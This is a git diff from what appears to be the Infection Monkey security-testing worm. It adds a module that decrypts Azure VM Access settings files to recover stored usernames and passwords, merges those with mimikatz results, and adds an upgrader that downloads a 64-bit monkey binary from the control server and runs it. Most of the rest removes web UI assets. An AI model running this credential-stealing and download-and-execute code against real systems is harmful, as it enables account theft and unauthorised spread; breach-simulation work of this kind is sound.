if ip_interface.network.num_addresses > 255:
res.append(CidrRange(cidr_range="%s/24" % (address_str, )))
else:
res.append(CidrRange(cidr_range="%s/%s" % (address_str, netmask_str))) res.append(CidrRange(cidr_range="%s/%s" % (address_str, netmask_str)))
return res return res

View File

@ -1,9 +1,9 @@
import logging import logging
import time import time
from common.network.range import *
from config import WormConfiguration from config import WormConfiguration
from info import local_ips, get_interfaces_ranges from info import local_ips, get_interfaces_ranges
from common.network.network_range import *
from model import VictimHost from model import VictimHost
from . import HostScanner from . import HostScanner

View File

@ -106,41 +106,47 @@ def check_tcp_ports(ip, ports, timeout=DEFAULT_TIMEOUT, get_banner=False):
""" """
sockets = [socket.socket(socket.AF_INET, socket.SOCK_STREAM) for _ in range(len(ports))] sockets = [socket.socket(socket.AF_INET, socket.SOCK_STREAM) for _ in range(len(ports))]
[s.setblocking(0) for s in sockets] [s.setblocking(0) for s in sockets]
good_ports = [] possible_ports = []
connected_ports_sockets = []
try: try:
LOG.debug("Connecting to the following ports %s" % ",".join((str(x) for x in ports))) LOG.debug("Connecting to the following ports %s" % ",".join((str(x) for x in ports)))
for sock, port in zip(sockets, ports): for sock, port in zip(sockets, ports):
err = sock.connect_ex((ip, port)) err = sock.connect_ex((ip, port))
if err == 0: if err == 0: # immediate connect
good_ports.append((port, sock)) connected_ports_sockets.append((port, sock))
possible_ports.append((port, sock))
continue continue
if err == 10035: # WSAEWOULDBLOCK is valid, see https://msdn.microsoft.com/en-us/library/windows/desktop/ms740668%28v=vs.85%29.aspx?f=255&MSPPError=-2147217396 if err == 10035: # WSAEWOULDBLOCK is valid, see
good_ports.append((port, sock)) # https://msdn.microsoft.com/en-us/library/windows/desktop/ms740668%28v=vs.85%29.aspx?f=255&MSPPError=-2147217396
possible_ports.append((port, sock))
continue continue
if err == 115: # EINPROGRESS 115 /* Operation now in progress */ if err == 115: # EINPROGRESS 115 /* Operation now in progress */
good_ports.append((port, sock)) possible_ports.append((port, sock))
continue continue
LOG.warning("Failed to connect to port %s, error code is %d", port, err) LOG.warning("Failed to connect to port %s, error code is %d", port, err)
if len(good_ports) != 0: if len(possible_ports) != 0:
time.sleep(timeout) time.sleep(timeout)
# this is possibly connected. meaning after timeout wait, we expect to see a connection up sock_objects = [s[1] for s in possible_ports]
# Possible valid errors codes if we chose to check for actually closed are # first filter
# ECONNREFUSED (111) or WSAECONNREFUSED (10061) or WSAETIMEDOUT(10060) _, writeable_sockets, _ = select.select(sock_objects, sock_objects, sock_objects, 0)
connected_ports_sockets = [s for s in good_ports if for s in writeable_sockets:
s[1].getsockopt(socket.SOL_SOCKET, socket.SO_ERROR) == 0] try: # actual test
connected_ports_sockets.append((s.getpeername()[1], s))
except socket.error: # bad socket, select didn't filter it properly
pass
LOG.debug( LOG.debug(
"On host %s discovered the following ports %s" % "On host %s discovered the following ports %s" %
(str(ip), ",".join([str(x[0]) for x in connected_ports_sockets]))) (str(ip), ",".join([str(s[0]) for s in connected_ports_sockets])))
banners = [] banners = []
if get_banner: if get_banner and (len(connected_ports_sockets) != 0):
readable_sockets, _, _ = select.select([s[1] for s in connected_ports_sockets], [], [], 0) readable_sockets, _, _ = select.select([s[1] for s in connected_ports_sockets], [], [], 0)
# read first BANNER_READ bytes # read first BANNER_READ bytes
banners = [sock.recv(BANNER_READ) if sock in readable_sockets else "" banners = [sock.recv(BANNER_READ) if sock in readable_sockets else ""
for port, sock in connected_ports_sockets] for port, sock in connected_ports_sockets]
pass pass
# try to cleanup # try to cleanup
[s[1].close() for s in good_ports] [s[1].close() for s in possible_ports]
return [port for port, sock in connected_ports_sockets], banners return [port for port, sock in connected_ports_sockets], banners
else: else:
return [], [] return [], []

View File

@ -14,3 +14,4 @@ ecdsa
netifaces netifaces
mock mock
nose nose
ipaddress

View File

@ -6,6 +6,7 @@ import psutil
from enum import IntEnum from enum import IntEnum
from network.info import get_host_subnets from network.info import get_host_subnets
from azure_cred_collector import AzureCollector
LOG = logging.getLogger(__name__) LOG = logging.getLogger(__name__)
@ -104,3 +105,29 @@ class InfoCollector(object):
""" """
LOG.debug("Reading subnets") LOG.debug("Reading subnets")
self.info['network_info'] = {'networks': get_host_subnets()} self.info['network_info'] = {'networks': get_host_subnets()}
def get_azure_info(self):
"""
Adds credentials possibly stolen from an Azure VM instance (if we're on one)
Updates the credentials structure, creating it if neccesary (compat with mimikatz)
:return: None. Updates class information
"""
from config import WormConfiguration
if not WormConfiguration.extract_azure_creds:
return
LOG.debug("Harvesting creds if on an Azure machine")
azure_collector = AzureCollector()
if 'credentials' not in self.info:
self.info["credentials"] = {}
azure_creds = azure_collector.extract_stored_credentials()
for cred in azure_creds:
username = cred[0]
password = cred[1]
if username not in self.info["credentials"]:
self.info["credentials"][username] = {}
# we might be losing passwords in case of multiple reset attempts on same username
# or in case another collector already filled in a password for this user
self.info["credentials"][username]['password'] = password
if len(azure_creds) != 0:
self.info["Azure"] = {}
self.info["Azure"]['usernames'] = [cred[0] for cred in azure_creds]

View File

@ -0,0 +1,104 @@
import sys
import logging
import os.path
import json
import glob
import subprocess
__author__ = 'danielg'
LOG = logging.getLogger(__name__)
class AzureCollector(object):
"""
Extract credentials possibly saved on Azure VM instances by the VM Access plugin
"""
def __init__(self):
if sys.platform.startswith("win"):
self.path = "C:\\Packages\\Plugins\\Microsoft.Compute.VmAccessAgent\\2.4.2\\RuntimeSettings"
self.extractor = AzureCollector.get_pass_windows
else:
self.path = "/var/lib/waagent/Microsoft.OSTCExtensions.VMAccessForLinux-1.4.7.1/config"
self.extractor = AzureCollector.get_pass_linux
self.file_list = glob.iglob(os.path.join(self.path, "*.settings"))
def extract_stored_credentials(self):
"""
Returns a list of username/password pairs saved under configuration files
:return: List of (user/pass), possibly empty
"""
results = [self.extractor(filepath) for filepath in self.file_list]
results = [x for x in results if x]
LOG.info("Found %d Azure VM access configuration file", len(results))
return results
@staticmethod
def get_pass_linux(filepath):
"""
Extract passwords from Linux azure VM Access files
:return: Username, password
"""
linux_cert_store = "/var/lib/waagent/"
try:
json_data = json.load(open(filepath, 'r'))
# this is liable to change but seems to be stable over the last year
protected_data = json_data['runtimeSettings'][0]['handlerSettings']['protectedSettings']
cert_thumbprint = json_data['runtimeSettings'][0]['handlerSettings']['protectedSettingsCertThumbprint']
base64_command = """openssl base64 -d -a"""
priv_path = os.path.join(linux_cert_store, "%s.prv" % cert_thumbprint)
b64_proc = subprocess.Popen(base64_command.split(), stdin=subprocess.PIPE, stdout=subprocess.PIPE)
b64_result = b64_proc.communicate(input=protected_data + "\n")[0]
decrypt_command = 'openssl smime -inform DER -decrypt -inkey %s' % priv_path
decrypt_proc = subprocess.Popen(decrypt_command.split(), stdout=subprocess.PIPE, stdin=subprocess.PIPE)
decrypt_raw = decrypt_proc.communicate(input=b64_result)[0]
decrypt_data = json.loads(decrypt_raw)
return decrypt_data['username'], decrypt_data['password']
except IOError:
LOG.warning("Failed to parse VM Access plugin file. Could not open file")
return None
except (KeyError, ValueError):
LOG.warning("Failed to parse VM Access plugin file. Invalid format")
return None
except subprocess.CalledProcessError:
LOG.warning("Failed to decrypt VM Access plugin file. Failed to decode B64 and decrypt data")
return None
@staticmethod
def get_pass_windows(filepath):
"""
Extract passwords from Windows azure VM Access files
:return: Username,password
"""
try:
json_data = json.load(open(filepath, 'r'))
# this is liable to change but seems to be stable over the last year
protected_data = json_data['runtimeSettings'][0]['handlerSettings']['protectedSettings']
username = json_data['runtimeSettings'][0]['handlerSettings']['publicSettings']['UserName']
# we're going to do as much of this in PS as we can.
ps_block = ";\n".join([
'[System.Reflection.Assembly]::LoadWithPartialName("System.Security") | Out-Null',
'$base64 = "%s"' % protected_data,
"$content = [Convert]::FromBase64String($base64)",
"$env = New-Object Security.Cryptography.Pkcs.EnvelopedCms",
"$env.Decode($content)",
"$env.Decrypt()",
"$utf8content = [text.encoding]::UTF8.getstring($env.ContentInfo.Content)",
"Write-Host $utf8content" # we want to simplify parsing
])
ps_proc = subprocess.Popen(["powershell.exe", "-NoLogo"], stdin=subprocess.PIPE, stdout=subprocess.PIPE)
ps_out = ps_proc.communicate(ps_block)[0]
# this is disgusting but the alternative is writing the file to disk...
password_raw = ps_out.split('\n')[-2].split(">")[1].split("$utf8content")[1]
password = json.loads(password_raw)["Password"]
return username, password
except IOError:
LOG.warning("Failed to parse VM Access plugin file. Could not open file")
return None
except (KeyError, ValueError, IndexError):
LOG.warning("Failed to parse VM Access plugin file. Invalid format")
return None
except subprocess.CalledProcessError:
LOG.warning("Failed to decrypt VM Access plugin file. Failed to decode B64 and decrypt data")
return None

View File

@ -25,4 +25,5 @@ class LinuxInfoCollector(InfoCollector):
self.get_hostname() self.get_hostname()
self.get_process_list() self.get_process_list()
self.get_network_info() self.get_network_info()
self.get_azure_info()
return self.info return self.info

View File

@ -27,6 +27,8 @@ class WindowsInfoCollector(InfoCollector):
self.get_hostname() self.get_hostname()
self.get_process_list() self.get_process_list()
self.get_network_info() self.get_network_info()
self.get_azure_info()
mimikatz_collector = MimikatzCollector() mimikatz_collector = MimikatzCollector()
self.info["credentials"] = mimikatz_collector.get_logon_info() mimikatz_info = mimikatz_collector.get_logon_info()
self.info["credentials"].update(mimikatz_info)
return self.info return self.info

31
infection_monkey/utils.py Normal file
View File

@ -0,0 +1,31 @@
import os
import sys
import struct
from config import WormConfiguration
def get_monkey_log_path():
return os.path.expandvars(WormConfiguration.monkey_log_path_windows) if sys.platform == "win32" \
else WormConfiguration.monkey_log_path_linux
def get_dropper_log_path():
return os.path.expandvars(WormConfiguration.dropper_log_path_windows) if sys.platform == "win32" \
else WormConfiguration.dropper_log_path_linux
def is_64bit_windows_os():
'''
Checks for 64 bit Windows OS using environment variables.
:return:
'''
return 'PROGRAMFILES(X86)' in os.environ
def is_64bit_python():
return struct.calcsize("P") == 8
def is_windows_os():
return sys.platform.startswith("win")

View File

@ -0,0 +1,58 @@
import logging
import subprocess
import sys
import shutil
import time
import monkeyfs
from config import WormConfiguration
from control import ControlClient
from exploit.tools import build_monkey_commandline_explicitly
from model import MONKEY_CMDLINE_WINDOWS
from utils import is_windows_os, is_64bit_windows_os, is_64bit_python
__author__ = 'itay.mizeretz'
LOG = logging.getLogger(__name__)
if "win32" == sys.platform:
from win32process import DETACHED_PROCESS
else:
DETACHED_PROCESS = 0
class WindowsUpgrader(object):
__UPGRADE_WAIT_TIME__ = 3
@staticmethod
def should_upgrade():
return is_windows_os() and is_64bit_windows_os() \
and not is_64bit_python()
@staticmethod
def upgrade(opts):
try:
monkey_64_path = ControlClient.download_monkey_exe_by_os(True, False)
with monkeyfs.open(monkey_64_path, "rb") as downloaded_monkey_file:
with open(WormConfiguration.dropper_target_path_win_64, 'wb') as written_monkey_file:
shutil.copyfileobj(downloaded_monkey_file, written_monkey_file)
except (IOError, AttributeError):
LOG.error("Failed to download the Monkey to the target path.")
return
monkey_options = build_monkey_commandline_explicitly(opts.parent, opts.tunnel, opts.server, opts.depth)
monkey_cmdline = MONKEY_CMDLINE_WINDOWS % {
'monkey_path': WormConfiguration.dropper_target_path_win_64} + monkey_options
monkey_process = subprocess.Popen(monkey_cmdline, shell=True,
stdin=None, stdout=None, stderr=None,
close_fds=True, creationflags=DETACHED_PROCESS)
LOG.info("Executed 64bit monkey process (PID=%d) with command line: %s",
monkey_process.pid, monkey_cmdline)
time.sleep(WindowsUpgrader.__UPGRADE_WAIT_TIME__)
if monkey_process.poll() is not None:
LOG.error("Seems like monkey died too soon")

File diff suppressed because one or more lines are too long

Binary file not shown.

Before

Width:  |  Height:  |  Size: 160 B

Binary file not shown.

Before

Width:  |  Height:  |  Size: 148 B

Binary file not shown.

Before

Width:  |  Height:  |  Size: 201 B

Binary file not shown.

Before

Width:  |  Height:  |  Size: 158 B

Binary file not shown.

Before

Width:  |  Height:  |  Size: 146 B

File diff suppressed because one or more lines are too long

View File

@ -1,21 +0,0 @@
a:link, a:visited, a:hover, a:active {
text-decoration: none;
color: #000000;
}
#monkeysmap {
height: 80vh;
}
#telemetries {
}
#selectionInfo {
max-height: 70vh;
overflow: auto;
}
#config {
max-height: 50vh;
overflow: auto;
}

View File

@ -1,56 +0,0 @@
.arrow {
float: right;
line-height: 1.42857;
}
.glyphicon.arrow:before {
content: "\e079";
}
.active > a > .glyphicon.arrow:before {
content: "\e114";
}
/*
* Require Font-Awesome
* http://fortawesome.github.io/Font-Awesome/
*/
.fa.arrow:before {
content: "\f104";
}
.active > a > .fa.arrow:before {
content: "\f107";
}
.plus-times {
float: right;
}
.fa.plus-times:before {
content: "\f067";
}
.active > a > .fa.plus-times {
filter: progid:DXImageTransform.Microsoft.BasicImage(rotation=1);
-webkit-transform: rotate(45deg);
-moz-transform: rotate(45deg);
-ms-transform: rotate(45deg);
-o-transform: rotate(45deg);
transform: rotate(45deg);
}
.plus-minus {
float: right;
}
.fa.plus-minus:before {
content: "\f067";
}
.active > a > .fa.plus-minus:before {
content: "\f068";
}

View File

@ -1,354 +0,0 @@
/*!
* Start Bootstrap - SB Admin 2 Bootstrap Admin Theme (http://startbootstrap.com)
* Code licensed under the Apache License v2.0.
* For details, see http://www.apache.org/licenses/LICENSE-2.0.
*/
body {
background-color: #f8f8f8;
}
#wrapper {
width: 100%;
}
#page-wrapper {
padding: 0 15px;
min-height: 568px;
background-color: #fff;
}
@media(min-width:768px) {
#page-wrapper {
position: inherit;
margin: 0 0 0 250px;
padding: 0 30px;
border-left: 1px solid #e7e7e7;
}
}
.navbar-top-links {
margin-right: 0;
}
.navbar-top-links li {
display: inline-block;
}
.navbar-top-links li:last-child {
margin-right: 15px;
}
.navbar-top-links li a {
padding: 15px;
min-height: 50px;
}
.navbar-top-links .dropdown-menu li {
display: block;
}
.navbar-top-links .dropdown-menu li:last-child {
margin-right: 0;
}
.navbar-top-links .dropdown-menu li a {
padding: 3px 20px;
min-height: 0;
}
.navbar-top-links .dropdown-menu li a div {
white-space: normal;
}
.navbar-top-links .dropdown-messages,
.navbar-top-links .dropdown-tasks,
.navbar-top-links .dropdown-alerts {
width: 310px;
min-width: 0;
}
.navbar-top-links .dropdown-messages {
margin-left: 5px;
}
.navbar-top-links .dropdown-tasks {
margin-left: -59px;
}
.navbar-top-links .dropdown-alerts {
margin-left: -123px;
}
.navbar-top-links .dropdown-user {
right: 0;
left: auto;
}
.sidebar .sidebar-nav.navbar-collapse {
padding-right: 0;
padding-left: 0;
}
.sidebar .sidebar-search {
padding: 15px;
}
.sidebar ul li {
border-bottom: 1px solid #e7e7e7;
}
.sidebar ul li a.active {
background-color: #eee;
}
.sidebar .arrow {
float: right;
}
.sidebar .fa.arrow:before {
content: "\f104";
}
.sidebar .active>a>.fa.arrow:before {
content: "\f107";
}
.sidebar .nav-second-level li,
.sidebar .nav-third-level li {
border-bottom: 0!important;
}
.sidebar .nav-second-level li a {
padding-left: 37px;
}
.sidebar .nav-third-level li a {
padding-left: 52px;
}
@media(min-width:768px) {
.sidebar {
z-index: 1;
position: absolute;
width: 250px;
margin-top: 51px;
}
.navbar-top-links .dropdown-messages,
.navbar-top-links .dropdown-tasks,
.navbar-top-links .dropdown-alerts {
margin-left: auto;
}
}
.btn-outline {
color: inherit;
background-color: transparent;
transition: all .5s;
}
.btn-primary.btn-outline {
color: #428bca;
}
.btn-success.btn-outline {
color: #5cb85c;
}
.btn-info.btn-outline {
color: #5bc0de;
}
.btn-warning.btn-outline {
color: #f0ad4e;
}
.btn-danger.btn-outline {
color: #d9534f;
}
.btn-primary.btn-outline:hover,
.btn-success.btn-outline:hover,
.btn-info.btn-outline:hover,
.btn-warning.btn-outline:hover,
.btn-danger.btn-outline:hover {
color: #fff;
}
.chat {
margin: 0;
padding: 0;
list-style: none;
}
.chat li {
margin-bottom: 10px;
padding-bottom: 5px;
border-bottom: 1px dotted #999;
}
.chat li.left .chat-body {
margin-left: 60px;
}
.chat li.right .chat-body {
margin-right: 60px;
}
.chat li .chat-body p {
margin: 0;
}
.panel .slidedown .glyphicon,
.chat .glyphicon {
margin-right: 5px;
}
.chat-panel .panel-body {
height: 350px;
overflow-y: scroll;
}
.login-panel {
margin-top: 25%;
}
.flot-chart {
display: block;
height: 400px;
}
.flot-chart-content {
width: 100%;
height: 100%;
}
.dataTables_wrapper {
position: relative;
clear: both;
}
table.dataTable thead .sorting,
table.dataTable thead .sorting_asc,
table.dataTable thead .sorting_desc,
table.dataTable thead .sorting_asc_disabled,
table.dataTable thead .sorting_desc_disabled {
background: 0 0;
}
table.dataTable thead .sorting_asc:after {
content: "\f0de";
float: right;
font-family: fontawesome;
}
table.dataTable thead .sorting_desc:after {
content: "\f0dd";
float: right;
font-family: fontawesome;
}
table.dataTable thead .sorting:after {
content: "\f0dc";
float: right;
font-family: fontawesome;
color: rgba(50,50,50,.5);
}
.btn-circle {
width: 30px;
height: 30px;
padding: 6px 0;
border-radius: 15px;
text-align: center;
font-size: 12px;
line-height: 1.428571429;
}
.btn-circle.btn-lg {
width: 50px;
height: 50px;
padding: 10px 16px;
border-radius: 25px;
font-size: 18px;
line-height: 1.33;
}
.btn-circle.btn-xl {
width: 70px;
height: 70px;
padding: 10px 16px;
border-radius: 35px;
font-size: 24px;
line-height: 1.33;
}
.show-grid [class^=col-] {
padding-top: 10px;
padding-bottom: 10px;
border: 1px solid #ddd;
background-color: #eee!important;
}
.show-grid {
margin: 15px 0;
}
.huge {
font-size: 40px;
}
.panel-green {
border-color: #5cb85c;
}
.panel-green .panel-heading {
border-color: #5cb85c;
color: #fff;
background-color: #5cb85c;
}
.panel-green a {
color: #5cb85c;
}
.panel-green a:hover {
color: #3d8b3d;
}
.panel-red {
border-color: #d9534f;
}
.panel-red .panel-heading {
border-color: #d9534f;
color: #fff;
background-color: #d9534f;
}
.panel-red a {
color: #d9534f;
}
.panel-red a:hover {
color: #b52b27;
}
.panel-yellow {
border-color: #f0ad4e;
}
.panel-yellow .panel-heading {
border-color: #f0ad4e;
color: #fff;
background-color: #f0ad4e;
}
.panel-yellow a {
color: #f0ad4e;
}
.panel-yellow a:hover {
color: #df8a13;
}

View File

@ -1,38 +0,0 @@
.twitter-typeahead {
width: 100%;
}
.tt-hint {
color: #999;
width: 100%;
}
.tt-dropdown-menu {
width: 100%;
margin-top: 0px;
padding: 8px 0;
background-color: #fff;
border: 1px solid #ccc;
border: 1px solid rgba(0, 0, 0, 0.2);
-webkit-border-radius: 8px;
-moz-border-radius: 8px;
border-radius: 8px;
-webkit-box-shadow: 0 5px 10px rgba(0,0,0,.2);
-moz-box-shadow: 0 5px 10px rgba(0,0,0,.2);
box-shadow: 0 5px 10px rgba(0,0,0,.2);
}
.tt-suggestion {
padding: 8px 20px;
line-height: 16px;
}
.tt-suggestion.tt-cursor {
color: #fff;
background-color: #0097cf;
}
.tt-suggestion p {
margin: 0;
}

View File

@ -1,161 +0,0 @@
<!DOCTYPE html>
<html>
<head>
<title>Monkeys Business</title>
<meta charset="UTF-8">
<!-- js -->
<script type="text/javascript" src="./js/jquery-1.11.2.min.js"></script>
<script type="text/javascript" src="./js/typeahead.bundle.min.js"></script>
<script type="text/javascript" src="./js/bootstrap.min.js"></script>
<script type="text/javascript" src="./js/sb-admin-2/sb-admin-2.js"></script>
<script type="text/javascript" src="./js/sb-admin-2/metisMenu.js"></script>
<script type="text/javascript" src="./js/jsoneditor.js"></script>
<script type="text/javascript" src="js/monkeysb-admin.js"></script>
<script type="text/javascript" src="./js/jquery.dataTables.min.js"></script>
<!-- css -->
<link type="text/css" href="./css/monkeys-admin.css" rel="stylesheet"/>
<link type="text/css" href="./css/typeahead.css" rel="stylesheet"/>
<link type="text/css" href="./css/bootstrap.min.css" rel="stylesheet"/>
<link type="text/css" href="./css/sb-admin-2/sb-admin-2.css" rel="stylesheet"/>
<link type="text/css" href="./css/sb-admin-2/metisMenu.css" rel="stylesheet"/>
<link type="text/css" href="./css/jquery.dataTables.min.css" rel="stylesheet"/>
<link rel="icon" href="data:;base64,iVBORw0KGgo=">
</head>
<body onload="initAdmin();">
<div id="wrapper" class="row col-lg-12">
<!-- Space added so the other sections aren't sticked to the top of the page -->
<div class="row col-lg-12">
<div class="clearfix"></br></div>
</div>
<!-- /. -->
<!-- Main section -->
<div class="col-lg-9 col-md-12 col-sm-12">
<!-- Jobs section -->
<div class="panel panel-default">
<div class="panel-heading">
<a href="#jobs" data-toggle="collapse">Jobs</a>
</div>
<div id="jobs" class="panel-body panel-collapse collapse in">
<table class="table table-bordered table-hover" id="jobs-table">
<thead>
<tr><th>Id</th><th>Time</th><th>Type</th><th>Status</th><th>Properties</th></tr>
</thead>
<tbody>
</tbody>
</table>
</div>
</div>
<!-- /.Jobs section -->
<!-- Log section -->
<div class="panel panel-default">
<div class="panel-heading">
<a href="#logs" data-toggle="collapse">Log</a>
</div>
<div id="logs" class="panel-body panel-collapse collapse in">
<table class="table table-bordered table-hover" id="logs-table">
<thead>
<tr><th>Time</th><th>Data</th></tr>
</thead>
<tbody>
</tbody>
</table>
</div>
</div>
<!-- /.Log section -->
</div>
<!-- /.Main section -->
<!-- Options section -->
<div class="col-lg-3 col-md-6 col-sm-6">
<div class="panel panel-default">
<div class="panel-heading">
<a href="#options" data-toggle="collapse">Options</a>
</div>
<div id="options" class="panel-body panel-collapse collapse in">
<span class="input-group-btn">
<button id="btnCreateJob" class="btn btn-default" type="button"
onclick="createNewJob()" style="margin-top:-4px">
Create new scenario
</button>
<button id="btnConfigSched" class="btn btn-default" type="button"
onclick="configSched()" style="margin-top:-4px">
Configure Auto Tester
</button>
</span>
<br/>
<!-- General options -->
<div class="panel panel-default">
<div class="panel-heading">
<a href="#newJob" data-toggle="collapse">Job Properties</a>
</div>
<div id="newJob" style="overflow: visible" class="panel-body panel-collapse collapse in" aria-expanded="true">
<div id="job-config-section">
<div id="job-config">
</div>
<button id="btnSendJob" class="btn btn-default" type="button"
onclick="sendJob()" style="margin-top:-4px; visibility: hidden">
Update
</button>
<button id="btnDeleteJob" class="btn btn-default" type="button"
onclick="deleteJob()" style="margin-top:-4px; visibility: hidden">
Delete
</button>
<button id="btnStopJob" class="btn btn-default" type="button"
onclick="stopJob()" style="margin-top:-4px; visibility: hidden">
Stop
</button>
</div>
</div>
</div>
<!-- /.General options -->
</div>
</div>
</div>
<!-- /.Options section -->
<!-- Config section -->
<div class="col-lg-3 col-md-6 col-sm-6">
<div class="panel panel-default">
<div class="panel-heading">
<a href="#config" data-toggle="collapse">Config</a>
</div>
<div id="config" style="overflow: visible" class="panel-body panel-collapse collapse in" aria-expanded="true">
<span class="input-group-btn">
<button id="btnLoadConnectorsConfig" class="btn btn-default" type="button"
onclick="loadConnectorsConfig()" style="margin-top:-4px">
Change Connectors Config
</button>
</span>
<div id="connector-config-section">
<div id="connectors-config">
</div>
<button id="btnSaveConnectorConfig" class="btn btn-default" type="button"
onclick="updateConnectorConfig()" style="margin-top:-4px; visibility: hidden"">
Save Conectors Config
</button>
</div>
</span>
</div>
</div>
</div>
<!-- /.Config section -->
</div>
</body>
</html>

File diff suppressed because one or more lines are too long

View File

@ -1,9 +0,0 @@
/*!
DataTables jQuery UI integration
©2011-2014 SpryMedia Ltd - datatables.net/license
*/
(function(){var b=function(a,c){a.extend(!0,c.defaults,{dom:'<"fg-toolbar ui-toolbar ui-widget-header ui-helper-clearfix ui-corner-tl ui-corner-tr"lfr>t<"fg-toolbar ui-toolbar ui-widget-header ui-helper-clearfix ui-corner-bl ui-corner-br"ip>',renderer:"jqueryui"});a.extend(c.ext.classes,{sWrapper:"dataTables_wrapper dt-jqueryui",sPageButton:"fg-button ui-button ui-state-default",sPageButtonActive:"ui-state-disabled",sPageButtonDisabled:"ui-state-disabled",sPaging:"dataTables_paginate fg-buttonset ui-buttonset fg-buttonset-multi ui-buttonset-multi paging_",
sSortAsc:"ui-state-default sorting_asc",sSortDesc:"ui-state-default sorting_desc",sSortable:"ui-state-default sorting",sSortableAsc:"ui-state-default sorting_asc_disabled",sSortableDesc:"ui-state-default sorting_desc_disabled",sSortableNone:"ui-state-default sorting_disabled",sSortIcon:"DataTables_sort_icon",sScrollHead:"dataTables_scrollHead ui-state-default",sScrollFoot:"dataTables_scrollFoot ui-state-default",sHeaderTH:"ui-state-default",sFooterTH:"ui-state-default"});c.ext.renderer.header.jqueryui=
function(c,g,e,d){var f="css_right ui-icon ui-icon-carat-2-n-s",b=-1!==a.inArray("asc",e.asSorting),h=-1!==a.inArray("desc",e.asSorting);!e.bSortable||!b&&!h?f="":b&&!h?f="css_right ui-icon ui-icon-carat-1-n":!b&&h&&(f="css_right ui-icon ui-icon-carat-1-s");a("<div/>").addClass("DataTables_sort_wrapper").append(g.contents()).append(a("<span/>").addClass(d.sSortIcon+" "+f)).appendTo(g);a(c.nTable).on("order.dt",function(a,b,h,i){c===b&&(a=e.idx,g.removeClass(d.sSortAsc+" "+d.sSortDesc).addClass("asc"==
i[a]?d.sSortAsc:"desc"==i[a]?d.sSortDesc:e.sSortingClass),g.find("span."+d.sSortIcon).removeClass("css_right ui-icon ui-icon-triangle-1-n css_right ui-icon ui-icon-triangle-1-s css_right ui-icon ui-icon-carat-2-n-s css_right ui-icon ui-icon-carat-1-n css_right ui-icon ui-icon-carat-1-s").addClass("asc"==i[a]?"css_right ui-icon ui-icon-triangle-1-n":"desc"==i[a]?"css_right ui-icon ui-icon-triangle-1-s":f))})};c.TableTools&&a.extend(!0,c.TableTools.classes,{container:"DTTT_container ui-buttonset ui-buttonset-multi",
buttons:{normal:"DTTT_button ui-button ui-state-default"},collection:{container:"DTTT_collection ui-buttonset ui-buttonset-multi"}})};"function"===typeof define&&define.amd?define(["jquery","datatables"],b):"object"===typeof exports?b(require("jquery"),require("datatables")):jQuery&&b(jQuery,jQuery.fn.dataTable)})(window,document);

File diff suppressed because one or more lines are too long

View File

@ -1,163 +0,0 @@
/*!
DataTables 1.10.9
©2008-2015 SpryMedia Ltd - datatables.net/license
*/
(function(Fa,T,k){var S=function(h){function X(a){var b,c,d={};h.each(a,function(e){if((b=e.match(/^([^A-Z]+?)([A-Z])/))&&-1!=="a aa ai ao as b fn i m o s ".indexOf(b[1]+" "))c=e.replace(b[0],b[2].toLowerCase()),d[c]=e,"o"===b[1]&&X(a[e])});a._hungarianMap=d}function I(a,b,c){a._hungarianMap||X(a);var d;h.each(b,function(e){d=a._hungarianMap[e];if(d!==k&&(c||b[d]===k))"o"===d.charAt(0)?(b[d]||(b[d]={}),h.extend(!0,b[d],b[e]),I(a[d],b[d],c)):b[d]=b[e]})}function S(a){var b=m.defaults.oLanguage,c=a.sZeroRecords;
!a.sEmptyTable&&(c&&"No data available in table"===b.sEmptyTable)&&F(a,a,"sZeroRecords","sEmptyTable");!a.sLoadingRecords&&(c&&"Loading..."===b.sLoadingRecords)&&F(a,a,"sZeroRecords","sLoadingRecords");a.sInfoThousands&&(a.sThousands=a.sInfoThousands);(a=a.sDecimal)&&cb(a)}function db(a){A(a,"ordering","bSort");A(a,"orderMulti","bSortMulti");A(a,"orderClasses","bSortClasses");A(a,"orderCellsTop","bSortCellsTop");A(a,"order","aaSorting");A(a,"orderFixed","aaSortingFixed");A(a,"paging","bPaginate");
A(a,"pagingType","sPaginationType");A(a,"pageLength","iDisplayLength");A(a,"searching","bFilter");"boolean"===typeof a.sScrollX&&(a.sScrollX=a.sScrollX?"100%":"");if(a=a.aoSearchCols)for(var b=0,c=a.length;b<c;b++)a[b]&&I(m.models.oSearch,a[b])}function eb(a){A(a,"orderable","bSortable");A(a,"orderData","aDataSort");A(a,"orderSequence","asSorting");A(a,"orderDataType","sortDataType");var b=a.aDataSort;b&&!h.isArray(b)&&(a.aDataSort=[b])}function fb(a){if(!m.__browser){var b={};m.__browser=b;var c=
h("<div/>").css({position:"fixed",top:0,left:0,height:1,width:1,overflow:"hidden"}).append(h("<div/>").css({position:"absolute",top:1,left:1,width:100,overflow:"scroll"}).append(h("<div/>").css({width:"100%",height:10}))).appendTo("body"),d=c.children(),e=d.children();b.barWidth=d[0].offsetWidth-d[0].clientWidth;b.bScrollOversize=100===e[0].offsetWidth&&100!==d[0].clientWidth;b.bScrollbarLeft=1!==Math.round(e.offset().left);b.bBounding=c[0].getBoundingClientRect().width?!0:!1;c.remove()}h.extend(a.oBrowser,
m.__browser);a.oScroll.iBarWidth=m.__browser.barWidth}function gb(a,b,c,d,e,f){var g,i=!1;c!==k&&(g=c,i=!0);for(;d!==e;)a.hasOwnProperty(d)&&(g=i?b(g,a[d],d,a):a[d],i=!0,d+=f);return g}function Ga(a,b){var c=m.defaults.column,d=a.aoColumns.length,c=h.extend({},m.models.oColumn,c,{nTh:b?b:T.createElement("th"),sTitle:c.sTitle?c.sTitle:b?b.innerHTML:"",aDataSort:c.aDataSort?c.aDataSort:[d],mData:c.mData?c.mData:d,idx:d});a.aoColumns.push(c);c=a.aoPreSearchCols;c[d]=h.extend({},m.models.oSearch,c[d]);
la(a,d,h(b).data())}function la(a,b,c){var b=a.aoColumns[b],d=a.oClasses,e=h(b.nTh);if(!b.sWidthOrig){b.sWidthOrig=e.attr("width")||null;var f=(e.attr("style")||"").match(/width:\s*(\d+[pxem%]+)/);f&&(b.sWidthOrig=f[1])}c!==k&&null!==c&&(eb(c),I(m.defaults.column,c),c.mDataProp!==k&&!c.mData&&(c.mData=c.mDataProp),c.sType&&(b._sManualType=c.sType),c.className&&!c.sClass&&(c.sClass=c.className),h.extend(b,c),F(b,c,"sWidth","sWidthOrig"),c.iDataSort!==k&&(b.aDataSort=[c.iDataSort]),F(b,c,"aDataSort"));
